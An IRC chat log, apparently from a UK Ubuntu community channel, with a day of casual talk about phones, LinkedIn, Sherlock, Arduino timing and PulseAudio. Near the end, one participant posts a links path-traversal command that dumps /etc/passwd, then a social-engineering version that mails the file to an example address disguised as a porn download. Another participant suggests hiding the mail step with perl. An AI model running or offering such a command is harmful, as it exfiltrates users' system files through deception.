jussihello everyone. hope you are all waking up to a wonderful week...06:32
MooDoomorning all07:01
Myrttiali1234: "Nokia finally gives up after consistently terrible Winows Phone sales. Branding and patents sold to Microsoft. Everything else sold to Huawei." The huawei part didn't happen afaik?07:06
Myrttialso: I clearly care too much07:11
MooDooyeah I think you do Myrtti :)07:13
Myrttiespecially when I've cursed pretty much every No* company that operates in Finland to the lowest pits of hell07:17
directhexhaving recently used low-end android and firefoxos devices, windows phone is light years ahead of them on low spec devices08:04
MartijnVdSdirecthex: except there are apps for android08:08
directhexMartijnVdS, there are apps, but every second of using the device is unending agony08:08
directhexand the apps essentially unuseable due to no responsiveness08:08
MartijnVdSdirecthex: as opposed to WinPhones, which don't have apps and you're using windows.08:09
directhexMartijnVdS, how much windows phone (7+) experience do you have?08:09
MartijnVdSdirecthex: about 2 weeks08:09
MartijnVdSdirecthex: couldn't get used to it08:10
directhexMartijnVdS, android on "fast" devices, fine - throw enough ghz at android and it papers over the input stack, and the apps all run okay. a device like the nexus 4 is the bare minimum for android to be an acceptable experience. move down the scale into budget land and every terrible thing about android becomes accentuated08:15
directhexwhereas down the scale, the best features of windows phone become much clearer by comparison. yes there are fewer apps - but an old single-core lumia 610 is a hundred times more usable than a dual-core 1ghz android device like a huawei y30008:16
SuperMattword up homnies08:46
MyrttiI'm wondering should I uninstall facebook and install tinfoil for facebook instead08:47
Myrttion my N508:48
DJonesMyrtti: Interesting app, hadn't heard of that08:50
MyrttiDJones: found it last night while searching stuff from F-droid08:52
DJonesFacebook does appear to be trying to make it possible too much info on users (in that it gives permissions it doesn't need) so sounds a good option, although I guess if people are concerned about that, they'd also be concerned about using a 3rd party app and potentially letting that have access to their data.  Swings and roundabout, who do you trust, I see this does give info for people to check the code, but how many users would actually be ...08:56
DJones... capeable of understanding it, so at the end of the day, it comes down to who you trust to be honest and what info are you prepared to make available08:56
Myrttiindeed, that's the reason I haven't installed it yet08:57
DJonesMust admit, I'd be the same, no matter how much I may distrust an 'official' app, I like to see personal recommendations from people I trust or have respect for before I'd install a 3rd party app08:58
DJonesNot that I'm overly paranoid, just careful of to who & what info I allow out (as much as possible anyway)08:59
mappsi love the wire09:01
DJonesDid anybody here watch Sherlock last night, recorded it, but comments I've read about it suggest it was so far off the wall that it wasn't an enjoyable experience09:02
directhexi liked the bit where sherlock went into his tardis09:03
AlanBellDJones: I liked it better than the previous episode09:03
BigRedSDJones: tinfoil's just the browser with a different profile AFAIK; it's certainly the facebook site rather than an actual app09:03
BigRedSthere's no data at all if there's no net connection, for instance09:03
bigcalmGood morning peeps :)09:03
DJonesAlanBell: Yeah, previous episode was aweful I'm afraid09:03
dwatkinsDJones: I havn't seen it yet, but I hope it's good.09:03
mappsna not i09:04
DJoneshmmh, maybe give it a chance then, if its got a Tardis it must be good09:04
mappsy'all watched the wire?09:04
jussihas anyone here got experience with those converters that convert your car to be able ot use RE85 (15% ethanol?)09:04
mappslove the wire so much09:04
mappsisnt that alcohol09:05
MartijnVdSmapps: it is09:05
mappsthankyou sir:D09:05
jussierr, I mean 15% gasoline, 85% ethanol09:05
mappsMartijnVdS,  i cant remember where are you compared to say redlight on holland09:05
mappsyou are near?09:06
MartijnVdSmapps: I'm in Amsterdam09:06
mappsyes  know:D09:06
mappsbut i mean how near red light09:06
MartijnVdSmapps: then I don't understand the question09:06
MartijnVdSmapps: ah.. 15-30 minutes? Just like *everything* in Amsterdam ;)09:07
mappshow near to the redlight are yu09:07
mappsyou know where hard rock cafe is?09:07
MartijnVdSI have no idea09:07
Myrttijust as a reminder, please keep the Sherlock spoilers at bay... I think the usual grace period is 7 days...09:07
mappswas just funny to see some girl say 'aha yes we can cycle in holland because you wont get raped'09:08
mappsi asked her howcome so many people cycle after dark09:08
diploMorning all09:08
DJonesjussi: A friend of ours got a conversion kit to run his car on chip oil, that worked ok, but ended up making him and his passengers smell like a chip shop09:09
MartijnVdSDJones: you can fix that by smoking inside the car as well09:10
jussiDJones: Im looking at somehting like this: http://www.alibaba.com/product-detail/EcoBox-E85-Ethanol-Biofuel-Flexfuel-Aftermarket_131703483.html09:10
MartijnVdSDJones: then they smell like 70s-80s chip shop 8-)09:10
DJonesMartijnVdS: That just ends up smelling of smoked fish09:10
MartijnVdSjussi: doesn't ethanol burn hotter, potentially damaging the engine?09:11
jussiMartijnVdS: no idea, hence asking...09:11
MartijnVdSjussi: http://auto.howstuffworks.com/fuel-efficiency/alternative-fuels/ethanol-damage-engine.htm09:12
jussiMartijnVdS: but that is talking about E15, for cars without a converter09:13
DJonesFrom memory, don't US racecars (NASCAR/CART) use ethanol as a fuel rather than petrol, I seem to remember it being commented on and that when there's a crash/fire, the flame is invisible and they just use buckets of water to put it out because its soluble09:13
jussiDJones: yeah, somethign like that09:14
DJonesJust looking, NASCAR is '110 octane gasoline', CART is Methanol09:14
MartijnVdSjussi: http://www.ask.com/question/will-e85-hurt-my-car09:15
mappsgotta shower/change and ress up smart09:16
DJonesMartijnVdS: I looked at that link and read it as "Will E45 cream hurt my car" :)09:16
mappsgetting train in a bit;/09:16
MartijnVdSDJones: those E-numbers!09:16
DJonesNo kidding09:16
DJonesJust give me the blue smarties09:16
MartijnVdSthose have the most E-numbers?09:17
DJonesProbably not now, but my wife couldn't have any smarties as a child because of the E number in them, would send her into anaphalactic shock09:18
MartijnVdSI wonder.. does E have an E number?09:18
MartijnVdS(aka http://en.wikipedia.org/wiki/MDMA)09:18
bigcalmThis is odd09:20
bigcalmUsing the super key, or clicking the ubuntu icon, make the dash appear for a split second before disappearing09:20
bigcalmWhich means that I can't use the dash right now. Anybody else seen this happen?09:20
brobostigongood morning everyone.09:26
diplobigcalm: Mines unresponsive for a while after boot up, a couple of mins at least09:30
SuperMattmorning guys09:30
diploThought it was more to do with this machine, think it's slowly dieing09:30
JamesTaitGood morning all; happy Make Your Dream Come True Day! :-D09:34
JamesTaitThanks for the tip, MartijnVdS - Bubble Wrap Day. :)09:35
foobarrysmarties don't taste v nice anymore09:41
foobarrytried some a few months back. they taste of cardboard09:41
bigcalmARGH. Windows and spinning rust is so damn slow!09:42
MooDoospinning rust?09:42
bigcalmMooDoo: HDD09:43
bigcalmMooDoo: I have Ubuntu on my SSD09:43
MooDoowell ubuntu would be just as slow on a hdd you can't blame windows for that :p09:43
dwatkinsI have Ubuntu on a MicroSD card.09:45
jussiahh the small pleasures in life....09:48
jussithe skin of the chicken after it has been baked...onomonom...09:48
jussiplus with the added bonus that my wife doesnt like it, so I get double :)09:49
bigcalmpopey: Dell Inspiron 15 http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-753709:50
dwatkinsI like the skin of the custard.09:55
foobarryworst thing ever is tea skin09:56
MartijnVdSfoobarry: just send it to dwatkins then ;)09:56
foobarryi hate tea. i hate skin on tea * 100009:57
MartijnVdSoh *tea* skin, not *the* skin09:57
foobarrythe one that forms on a cold cup09:57
MartijnVdSfoobarry: it's not the cold cup that's the problem, it's the calcium content of the water.10:07
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foobarryin london, the water is chewy10:09
MartijnVdSfoobarry: big, hairy, can fix hyperdrives?10:10
SuperMattI've never had chewy water in London10:11
SuperMattCanterbury was probably the worst place I've lived for water chewiness10:12
directhexthe alternative to chewy water is tasteless nonsense water10:12
directhexsuitable for ironing clothes only10:12
MartijnVdSthey extract most of the calcium here10:12
popeytea never gets an opportunity to get a skin here10:14
popeyused to happen often when the kids were babies10:14
popeydirecthex:  [   R: 25.36]10:14
MartijnVdSnow they help get rid of it before it's cold? :)10:14
popeywe used to leave them and fall asleep more10:15
popeyor we'd forget them as we were off putting kids to bed / feeding10:15
popeywe also used to never eat together when they were babies10:15
foobarryi always climbed into bed at same time as missis before kids came10:15
popeybigcalm: looks pretty sweet!10:16
foobarrynow one of use sometimes goes at 8.30pm10:16
popeyhow old is your youngest now?10:16
foobarryat the "babba, babba, mammmma" talky stage10:16
foobarrysmiles at daddy when he walks in room10:16
foobarryas opposed to my son who turns 4 tomorrow, who could be "HELLO DADDY!" or "DADDY GO AWAY, OUT OF THE ROOM"10:17
MooDoomy youngest is 2 and at the "no I won't do it" stage10:17
foobarrydepending on which way the wind is blowing10:17
bigcalmpopey: hopefully it'll last longer than my current one. By ordering top spec in the consumer market, I won't be pissed off as soon as it gets here10:17
MooDoooldest is 5 and at the "grunt i'm on the DS" stage  lol10:17
popeybigcalm: what's the current machine?10:18
bigcalmpopey: a pos ;)10:18
popeyif i got "grunt I'm on the ds" then they would very soon no longer be on the ds10:18
foobarryds is used just for haircuts atm10:18
foobarryalthough tablet is used when on my lap.10:19
foobarrythe snowman and snowdog game from 2012 xmas is amazing, rather than the terrible one from xmas this year10:19
MooDoopopey: we're the same :) lol although the worst thing I can do at the moment is ban him from minecraft lol10:19
bigcalmpopey: 1st gen 13, 4gb ram, 1366x768 res - everything is against sensible development10:19
foobarrydrawing pad games on the tablet are great too10:19
foobarrysomehow my son drew this the other day http://i.imgur.com/gHoBuBw.jpg10:21
popeybigcalm: what res is the new one?10:23
TwistedLucidityfoobarry: Mr. Hankie?10:23
bigcalmpopey: 1920 x 108010:24
bigcalmI hope so :)10:24
foobarryself portrait i think TwistedLucidity :P10:25
foobarryalthough he is blond and blue eyed10:25
TwistedLucidityWell, it's better than I can do!10:27
foobarrythe ability of children to learn never ceases to amaze me10:28
popeyczajkowski: http://imgur.com/gallery/dpeNSSj10:29
popeybigcalm: you going to run windows 8 on it?10:30
foobarrythats a sore point after my dog pooed and vmoited blood all over the house on xmas eve10:30
popeyTheOpenSourcerer: https://blog.1407.org/2014/01/10/got-my-windows-refund-and-so-can-you10:33
popeyseems like a lot of effort10:33
popeybut worth doing if you want that 40 eur or so10:33
TheOpenSourcererAnd simply for the principle of the thing.10:35
foobarryi wish lubotu3 would tell us the title of youtube links10:39
foobarrydaily mail have been looking for a linux admin for quite a while now10:49
bigcalmpopey: I'm not sure. The machine will have the power to play games. So do I repartition the HDD and dual boot? Or run Ubuntu server in a VM? Or replace the HDD with my spare SSD and do one of those two?10:50
SuperMattI don't think there are many linux experts who would consider working for the daily mail10:50
SuperMattI couldn't cope with the cognative dissonance10:50
ali1234i would do a snowden10:50
foobarryi worked for a bank, i could do a paper10:51
knightwisemornin everyone10:51
ali1234leak all their emails etc10:51
bigcalmpopey: I have a feeling that I won't even power on the laptop when I get it until I've replaced the HDD with the SSD10:51
popeytake the hdd out and put to one side?10:51
bigcalmpopey: yes10:51
foobarryactually, thinking about it...i would struggle working for any newspaper10:52
foobarry55 applicants via linkedin10:52
davmor2Morning all10:52
bigcalmpopey: I'll likely put Ubuntu on the whole of the SSD and keep gaming to my workstation10:53
bigcalmMorning davmor210:53
czajkowskipopey: ROFLOL10:54
davmor2bigcalm: nice weekend?10:55
bigcalmdavmor2: massage on Saturday, ordered a new mattress on Sunday, got fed up with laptop last night and ordered a new one10:55
bigcalmdavmor2: expensive weekend, but good ta10:56
bigcalmdavmor2: yourself?10:56
popeyI want to see how long I can make my x220 last10:56
popeygiven I've invested a bit in it10:56
bigcalmpopey: it was legacy ATI hardware in my current laptop that forced me back onto Windows :(10:56
popeysuppose I should update to trusty10:56
bigcalmI know10:56
davmor2bigcalm: we went to a party for 20 minutes other than that it was mostly just back and forth to the mother in laws not so exciting10:56
bigcalmdavmor2: a lot of damage can be acheived in 20 mins ;)10:57
bigcalmpopey: did a dist-upgrade on my workstation this morning. It did something horrible to the graphics so I'm now using Windows for the day10:57
davmor2bigcalm: yeah we couldn't hear or talk and got a headache from the music and the noise of 100 people shouting at each other, apparently the music got louder and worse as the night went on so we were really glad to of gone :)10:59
bigcalmNot a fun time10:59
TwistedLuciditydavmor2: You want "MaxLites". https://sites.google.com/site/earplugsbypost/gallery11:07
davmor2bigcalm: apparently they played no slow songs at the end of the night and no reggae even though that is the kinda music that was expected so really not gonna be a DJ for them again me thinks :D11:08
* foobarry puts allegri's miserere on the headphones to filter noise from the office11:09
dwatkinsI have an app that generates the sound of rain for times when I want to not listen to music, but need to block out sound.11:11
foobarryclementine does rain11:11
foobarryalso does hypnotoad..do not click that button11:11
foobarryrain + miserere goes really well, like some episode of morse11:12
foobarry3 emails from linkedin today. stop it!11:19
directhexthe world clearly needs more ouya clones. http://hexus.net/gaming/news/android/64801-huawei-tron-android-mini-console-launch-may-120/11:21
SuperMattfoobarry: I hate all the linked in emails I get. I'm *on* linked in, but with a different email address to that which my friends use11:41
SuperMattso people try to search for me on my freinds email address, rather than my professional email address11:42
popeyi deleted my linkedin account. it served zero purpose11:45
SuperMattI might do the same11:45
BigRedSyeah, I know a few people who've done that recently11:45
BigRedSI've just sort-of left mine be; it doesn't seem to be doing any harm11:45
popeyi just kept getting spam from it11:46
SuperMattbut the thing is, as soon as I created a linked in account, I got a lot of recruiters wanting to put me forward for jobs11:46
popeyalthough to be fair i know my current employer looked me up on it before I joined11:46
SuperMatthaving said that, I didn't actually get my new job through one of those guys11:46
BigRedSwhen I was last looking for work I got a few phone interviews out of it11:47
BigRedSbut not with anyone I actually wanted to work for11:47
foobarrymost of the people with best LI profiles are useless numpties11:56
foobarry"most impressive sounding"11:57
MooDooah it's not just me then that's getting spam from linkedin11:57
foobarryto inflate their ego and cover over their incapacity to produce anything of worth11:57
foobarryits mostly mutual masturbation for project managers11:58
popeyyeah, i used to get mail from it all the time, now I get zero11:58
dwatkinsPeople still use LinkedIn? How quaint.11:58
foobarryi use it to see when coleagues are about to move on11:59
TwistedLucidityYeah, all the cool suits now use "Yammer" :-S11:59
dwatkinsI've had a couple managers ask me if it's ok to contact people I used to work with to send them job-specs, but other than that, I've never used it apart from adding people because I felt I should.11:59
Myrttibut yammer is for internal stuff11:59
TwistedLucidityI know; sarcasm.11:59
dwatkinsYammer is indeed for internal stuff, although I'd be a bit hesitant to have a discussion on there, considering it's owned by Microsoft.11:59
foobarrywhen certain dormant people suddnely show activity and getting "endorsements" you know they are looking to move11:59
TwistedLucidityI have all my Yammer stuff directed to trash.11:59
Myrttiwe've got so many 'intranets' I want to scream12:00
dwatkinsMyrtti: sounds familiar12:00
Myrttiand believe me, in comparison to some that we've got, Yammer is my favourite12:00
TwistedLucidityMyrtti: You need an interintranet.12:00
dwatkinsone intranet to bind them, and in the darkness of the internal network find them....12:00
Myrttiit doesn't look like it was made in 199812:00
Myrtti*cough* ning12:00
dwatkins(also known as kerning)12:01
Myrttino, ning.12:01
popeyfoobarry: another reason not to use it IMO ☻12:01
foobarryi guess its FOMO12:03
foobarryfear of missing out ...on that job offer of a lifetime etc etc12:04
TwistedLucidityI keep getting recruiters contact me via LI. PITA.12:04
dwatkinsI get a lot of recruiters e-mailing me because I put 'PHP' on my CV, but if you actually read it, I'm not a developer.12:05
Seeker`I keep on getting recruiters send me emails about writing PHP12:05
dwatkinsIt's a good way to tell if they've actually bothered paying attention to it.12:06
popeyi still get people email me 2 years after I quit SAP12:06
popeyI keep telling them to remove me, but they don't (unsurprisingly)12:06
dwatkinsI'm tempted to write a stock response asking if they bothered reading my CV, but I can't be bothered, as they probably swouldn't read it.12:06
SuperMattOh god, when I got my *current* job, I got SO MANY calls about being windows desktop support, despite making it clear that I was already doing that and was looking to become a Linux administrator12:06
popeyhttp://www.ebay.co.uk/itm/300976411515 en route!12:06
davmor2popey: is that because they are saps?12:06
popeywakka wakka12:07
Seeker`popey: didn't you already solder up a motor board?12:07
popeyprobably wont arrive for a month from china12:07
popeyyeah, a pi one12:07
popeyI want to try pi and arduino12:07
bashrcarduino is very easy to program12:07
popeyI'd need some kind of wifi shield though12:08
SuperMattthey're nitce and easy to get hold of12:09
dwatkinswould ethernet not suffice? I have an Edimax USB dongle on my Pi.12:09
popeyits going on a robot12:09
davmor2bashrc: it's only easy to program if you get the fundamentals of programming surely12:09
popeyso no12:09
dwatkinsah ok12:09
dwatkinsthere's also XBee, popey., as you may be aware12:09
bashrcdavmor2: in the past I used other microcontrollers, and programming them was much harder12:10
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Seeker`bashrc: that doesn't change the fact that you still need to be able to write C to write for an arduino :P12:14
Seeker`or a C-like language12:14
bashrcSeeker: that's true, but C must be one of the simplest languages.12:15
foobarrygood to see bbc continuing coverage of the dornier restoration http://www.bbc.co.uk/news/uk-25665313?post_id=100004871043663_231606443678389#_=12:17
bashrceek. closed IRC when I meant to close libreoffice12:18
Seeker`oh noes12:18
* lazarus_ dislikes bbc12:18
Seeker`the world has ende....oh wait12:18
foobarrystarting to get bored of the sandwich selection in sainsburys. but there's nowhere else round here for lunch options12:19
davmor2foobarry: gregs, subway? those 2 are everywhere12:20
ali1234bashrc: arduino is only easy to program if you are not doing anything time-critical. if you are, then the C++ code is way too slow12:27
czajkowskidavmor2: boo12:27
ali1234and not just slow but also unpredictable12:27
ali1234popey: why do you need a wifi shield? why not just plug in a usb wifi to the pi?12:31
popeyali1234: because i am trying two options, pi and arduino12:31
ali1234oh i see. i thought you were going to combine them12:32
popeyand if using arduino, how does it talk to my computer without a cable12:32
bashrcaduino is only 8 bit, so it doesn't have a lot of processing power12:32
popeyah right, no.12:32
bashrcor maybe 16 bit12:32
ali1234no, 8 bit was right12:32
lazarus_can anyone recommend a uk supplier for linux laptops/desktops apart from dell i have asked b4 but the list i was given yielded little to no results12:32
bashrcso I don't think you could do really time critical stuff, such as audio stream analysis12:33
directhexlazarus_, typically you pay more to get the HW without windows. do you mind?12:33
foobarrydavmor2: not in the wastelands of E112:33
foobarryactualyl there is a subway but they give me bellyache and subway burps 10hrs later12:34
ali1234bashrc: time critical in this case means filling the UART fifo and not getting an underrun. or bit banging pins and achieving an exact clock rate12:34
ali1234software serial/i2c/spi for example12:35
lazarus_directhex: im just looking i currently have a system76 laptop and the import fees are crazy12:35
davmor2foobarry: in that case sucks to be you :(12:35
bashrcavoid importing heavy things12:35
davmor2foobarry: you could always make sandwiches I guess12:35
foobarryi would end up with even less choice than sainsbury12:35
foobarryprob end up with ham sarnie every day12:36
ali1234the arduino digitalWrite() is about 20x slower than direct pin setting12:36
foobarrywe only just got the sinsburys in the last 12 months12:36
ali1234and the arduino libraries use interrupts that mess up your timing12:36
ali1234the only way to do this kind of thing on arduino is to not use any of their libraries at all and just use avr-gcc direct12:36
davmor2foobarry: just have the cheese ploughmans12:36
foobarryalmost. i have ham+egg . not keen on cheese or ploughs12:38
popeyhttp://rutube.ru/video/875caab912d40793e0c7158cad6239a8/ want12:39
davmor2popey: NO!!12:40
ali1234those things are pretty dangerous12:40
davmor2ali1234: and popey is dangerous enough without one12:41
ali1234it's basically a gun12:41
davmor2ali1234: technically a canon12:41
ali1234technically yes12:41
ali1234but it is as dangerous as a gun12:41
lazarus_that thing is cool12:41
bigcalmpopey: it's you and the ignightor in minecraft all over again12:42
lazarus_i want one12:42
popeyit still makes me chuckle when I see a tree alight in minecraft I remember ali1234 on my first server putting out the conflagration and leaving a sign post saying "Only you can prevent forest fires"12:42
foobarrysugru is the new duct tape12:43
MartijnVdSfoobarry: it is!12:43
MartijnVdSsuch useful!12:44
ali1234that's actually quite a clever hack... using it to push down the loose chips12:44
ali1234i would be worried about it lighting on fire tho12:45
MartijnVdSali1234: it can 18012:45
MartijnVdSit's fine up to 180°C12:46
foobarryThe product is not flammable, but will decompose if involved in a fire, producing smoke, and toxic fumes and gases.12:46
ali1234but can it 360?12:46
MartijnVdSali1234: 8-)12:46
MartijnVdSali1234: wait, is that what the "360"  in XBox 360 stands for12:46
popeyi discovered howdoicomputer.com and was disappointed it was already registered12:46
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foobarrynokia are doing an android phone?12:48
popeyseems so12:48
foobarrylooks meh12:48
popeyall android phones look meh ☻12:48
popeysome sony ones are nice and oppo12:49
popeyoh and I hear the meizu mx3 is awesome ㋛12:49
davmor2popey: hahaha12:50
foobarrypicked up 2 sharpies in the shop for 89p12:50
foobarryusually a pack of 2 is £312:50
popeyooh, i need a couple of new sharpies12:51
directhexand a shar-pei12:51
foobarrywas in sainsburys getting rid of new term stock12:51
foobarryoverheard 2 students "oi dave, didn't you pay £12 for 10 of these?"12:51
MyrttiI just love these online 'order a pizza' services12:54
Myrttialthough being brainwashed to just eat makes me automatically want to order pizza from there - when I'm in Finland.12:55
Dave2doesn't it exist there?12:57
Myrttiof course not12:58
Dave2Why of course? I think the first time I saw Just Eat was when I was in Denmark.12:58
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Myrttiwell look at that12:58
MyrttiI never realised it was something else than just-eat.co.uk12:59
foobarrychewbaca has released a load of cool SW shots https://twitter.com/TheWookieeRoars13:02
dwatkinsawesome, foobarry13:16
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lazarus_https://www.system76.com/laptops/model/daru4 wants13:26
SuperMatthurr, the daily mail are angry about last night's sherlock13:26
MartijnVdSguardian seemed to like it13:30
ali1234does anyone want a copy of humble bundle X?13:33
ali1234i bought it twice by accident13:33
popeyoh i missed sherlock13:35
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MooDoopopey: it was quite good13:40
jussiali1234: what was in it?13:43
jussiali1234: just looked... interesting... how much you want for it? (or are you donating to me... :D )13:45
ali1234i can only give you the steam keys because i didn't select the gift option13:47
ali1234actually maybe that isn't true13:50
* MartijnVdS has about €1 in his steam account from selling trading cards.. can you actually *do* something with those things, except sell them?13:59
ali1234trade them for hats?14:00
MartijnVdSali1234: hats? for what?14:00
ali1234for tf2 obviously14:00
MartijnVdSali1234: I only play single-player games.14:00
foobarryTIL that koo stark played camie in star wars but her scenes didn't make the film14:01
foobarrysome youtubing later methings14:01
foobarry4th linked in email today...that does it14:06
Myrttinnnnggghhhh the hosting provider for a website I've been webmistressing for ten years fubar'd the databases and they had to restore a backup from two weeks ago.... well then again they did have backups and all is not lost but still14:42
SuperMatttwo weeks is hideously old though14:45
MyrttiI know14:45
Myrttibut I was ready to call it quits because I thought the database had exceeded quota or something had irreversibly broken14:46
knightwisedo you guys know of any other ubuntu spins that are based on the AMD 64 MAC architecture distro ?14:46
knightwiseI want to give my wifes imac a new lease on life14:46
MartijnVdSSorry, Apple doesn't allow that. Please buy moar hardware.14:51
lazarus_hehe MartijnVdS14:52
Myrttiwell, my nearly primal reaction is finally flattening out14:52
* bigcalm wants his new laptop now. I order it last night. I don;t think I'm demanding too much15:03
bigcalmGuess it needs to be assembled and shipped from China15:04
bigcalmThat said, I ordered a pre-configured device, wonder if it'll be any quicker than my last laptop15:04
MartijnVdSto arrive, or to run? :)15:05
bigcalmMartijnVdS: to arrive. I do hope the 4th gen i7 will run more quickly than my 1st gen i315:06
MartijnVdSbigcalm: probably :)15:08
MartijnVdSbigcalm: mine does ;)15:08
dwatkinswhoever invented the connectors on car stereos is very cruel, they're all very similar15:16
bashrcsimilar but oddly different15:17
AzelphurI love how my ISP has got to the point that it's throttling minecraft specifically15:17
dwatkinsyeah, bashrc - thankfully15:17
AzelphurIf I connect directly, I can't do anything, my bitrate drops to <1KB/sec and nothing loads, if I SSH tunnel to the minecraft server and connect through that, everything magically works :P15:18
dwatkinsstill a bit of a nightmare connecting it up, especially with the orange, red and yellow wires. Looks like I got it right, although the stalk control doesn't work.15:18
bashrcI've never played mindcrack15:18
Laneythere's a drunk caller on 6 music atm15:19
MartijnVdSdwatkins: there's a special adapter to switch those 12V-always_on and 12V-only_when_car_is_running cables15:19
MartijnVdSI have that in mine15:19
dwatkinsMartijnVdS: yeah, yellow vs orange15:21
dwatkinsI think it's just failed to load the driver for the stalk control, everything else seems ok15:23
MartijnVdSbut fewer and fewer new cars seem to have those15:23
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bigcalmI keep doing ctrl alt t ... in windows15:54
bigcalmWonder if I can map that to putty15:54
SuperMattI have scale mapped to the top left corner15:57
SuperMattWhen I want to swicth apps in windows, I move my mouse up there and then remember it doesn't work :(15:57
SuperMattI'm really surprised that feature didn't make in to windows 7 or 8 considering linux and osx have had it for ages15:57
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dwatkinsI keep thinking it's gone 5pm because it has in Germany16:07
SuperMattoh, I didn't realise it was quite so late16:10
SuperMattthat puts a smile on my face16:10
dwatkinsyeah, today has gone quickly16:10
SuperMattonly 80 minutes until home time16:10
SuperMattlazarus keeos coming back from the dead.16:30
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Myrttihm, I just realised that the hosting company hasn't yet sent an email about this database thing17:00
Myrttinow I'm annoyed and angry again17:01
bashrcdatabase thing?17:04
Myrttiyeah, apparently an employee of a hosting company of a website I've been webmistressing for ten years now messed up both the database and the immediate backups of them, and they had to restore from two weeks old backups17:06
MyrttiI only noticed the apology and notification about this because someone linked to it on an IRC channel I happened to be in17:06
bigcalmWow http://www.youtube.com/watch?v=HOfll06X16c18:02
MartijnVdSbigcalm: is that Gary's Mod Extreme? :)18:28
diddledanthe portals at the end blow my mind18:40
popeyLaney: is there any chance someone might take a look at backporting mumble client to s & p (at least) ?18:47
popey1.2.4 in trusty has better codec support, and our current p and s users end up grabbing newer upstream versions because servers require it18:48
diddledanwhy did sony move away from the cell processor tech?18:48
popeyhard to code for?18:48
diddledanI'm just watching this: http://www.youtube.com/watch?v=dmZSU0793hQ about the evolution of playstation gfx18:49
daftykinsdiddledan: there are some great presentations done by the guy that headed up the PS3 hardware planning/design which explain things well19:00
daftykinsultimately yeah, the Cell was a pig to code for, plus they chose to speak to game devs more for the PS4/Xbox One generation which resulted in feedback suggesting "go x86 damn it!"19:01
AzelphurHas anyone noticed major sound issues with Skype and pulseaudio in 13.10?19:09
AzelphurNotification sounds generated from it are majorly distorted and stretched, and voice calling is usually distorted/crackly, get the same behaviour on both my PC and my Laptop19:09
ali1234btw, it's been this way since pulseaudio was introduced to ubuntu19:13
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diddledanwhy does pulse cause so many issues when it's supposed to solve them?19:17
diddledanafaiui pulse was supposed to be "the mother of all sound systems"19:18
daftykinsdiddledan: Mark Cerny was the guy i was thinking of behind the PS3 and 4 hardware19:18
ali1234because starting over from scratch is almost never a good idea19:18
ali1234you might ask the same question about systemd, upstart, wayland, or mir19:18
diddledanI actually quite like upstart (that's the buntu one, right?)19:19
ali1234to be honest i think i prefer systemd19:19
ali1234and i've looked at the code of both19:19
diddledanSMF (the solaris one) is a beast19:19
AzelphurI still think pulses bane is that it has no low latency audio at all19:19
AzelphurWhich makes it pretty useless at everything19:20
ali1234Azelphur: actually it does19:20
ali1234the workaround for your problem is to disable it19:20
diddledanam I right in remembering that low latency audio requires root privs (via setuid or some such)?19:21
Azelphurthat's weird, because...it's certainly not enabled19:21
AzelphurI get like 100ms latency out of pulse19:21
Azelphurali1234: whenever I use like, LMMS with pulse for example19:25
Azelphurand my midi piano19:25
Azelphurit's ... horrible19:25
diddledanoh joy19:35
diddledanlinks www.example.xxx/../../../../../../../../etc/passwd -dump19:35
diddledanthat's a command btw19:35
diddledanthanks to whoever decided that .xxx as a domain tld was a good idea19:36
ali1234i don't get it19:39
diddledanali1234: run it in a terminal19:39
ali1234so www.example.xxx is vulnerable to a trivial path expansion exploit?19:39
diddledanthe entire line is a command19:39
diddledanno, your computer is19:40
diddledanspecifically the links command19:40
ali1234but i can just run cat /etc/passwd19:40
popeyhow is that diferent from cat ../../etc/passwd19:40
diddledanit's no different apart from social engineering allows you to think that links won't do that19:41
popeynobody would link to "links foo...." and nobody could ever click that as you can't launch local executables like that19:41
popeylinks being used by...?19:41
ali1234well i suppose you could hide it in a script19:41
diddledanthe example on FD suggests chaining the command19:41
diddledanit will dump your passwd file no matter what the domain name as long as it ends in .xxx19:42
aquariusAlanBell, interesting question about Ubuntu phone working better with Ubuntu desktop than with others. I'm in two minds about whether I like that idea or not -- on the one hand, it's great when Apple makes the iPhone and the Mac and Apple TV work really brilliantly together and take advantage of stuff. On the other hand, it really annoys me that I don't get a full iPhone experience because I don't buy into the rest o19:43
aquariusf their ecosystem... and doing that sort of thing is Not Cricket really from an open source ethical perspective ;) What are you hoping that jono will answer?19:43
diddledanso DOWNLOAD PR0N! RUN IN COMMANDLINK: `links www.adomainyoureallywanttodownloadpr0nfrom.xxx/../../../../../../etc/passwd |mail -s secrits foo@example.com > corruptmovie.m4v`19:45
diddledancommandline, obviously, not commandlink19:45
ali1234/etc/passwd doesn't even have password hashes19:46
diddledanthat's not the point19:46
ali1234not that there aren't files you could target19:46
ali1234also you should hide the mail command with perl trickery19:47
bigcalmdirecthex: I have your steamos on my box and wondering how one goes about installing the latest release. Does it mean wiping the installed games and drive and starting from fresh?20:11
directhexbigcalm, i wouldn't bother unless you have a pressing need for LVM/mdraid - it updates from the valve repos20:12
bigcalmdirecthex: yeah, I don't have a need for the current release. So there's no need to use your releases, just let the box update itself?20:12
directhexbigcalm, yeah20:13
* bigcalm continues to seed anyway20:13
* bigcalm pokes Dell's order page20:15
bigcalmStill pre-production :(20:15
bigcalmWho broke tumblr?20:23
bigcalmAh, yes20:24
diddledanlol, that's a nice break20:27
diddledanlooks like their frontend works but hasn't got any backend to load from20:27
diddledanwow, how many IP addresses do they actually need?! they've been assigned a /2020:29
diddledan15 * 255 = ?20:29
diddledanoh, and .3220:30
diddledan4080 then20:30
diddledandoes a single entity really need that many?20:30
diddledanI wonder what their justifiction is for that many to ARIN20:31
brobostigonyay, i got two answers on that uni cha;;ange ep, almost my record.20:32
diddledanI had enough trouble getting assigned a /2920:32
bigcalmI really love that I can now watch my YouTube subscriptions on my TV (via blu-ray player). Still amazingly peeved that my TV does overscan and is quite noticible when watching YouTube things20:32
diddledanbrobostigon: nice20:32
brobostigondiddledan: :)20:32
brobostigonmy record is four,20:32
diddledanI pretty only ever get the computery ones20:32
diddledanpretty much*20:33
brobostigonone was a physics question, the other was about chemistry.20:33
diddledanbecause their question setters insist on the computery ones being completely stupidly easy20:33
brobostigonthats when they do have them.20:34
ali1234what's a uni change ep?20:34
brobostigonuniversity challange is tv prog.20:34
diddledanI believe one a while back was over the name of a computer input device so-called after a rodent20:34
ali1234oh i get it now20:34
brobostigondiddledan: lol.20:34
diddledanI was incredulous that they consider that to be university-level20:35
brobostigonagreed, that insanly easy.20:36
diddledanI believe another was over the naming of pixel - i.e. what it stands for20:37
MartijnVdSpicture element!~20:48
jussiwill someone make me a bacon sandwich?21:26
AzelphurNo, make your own sandwich21:27
diddledansudo !!21:27
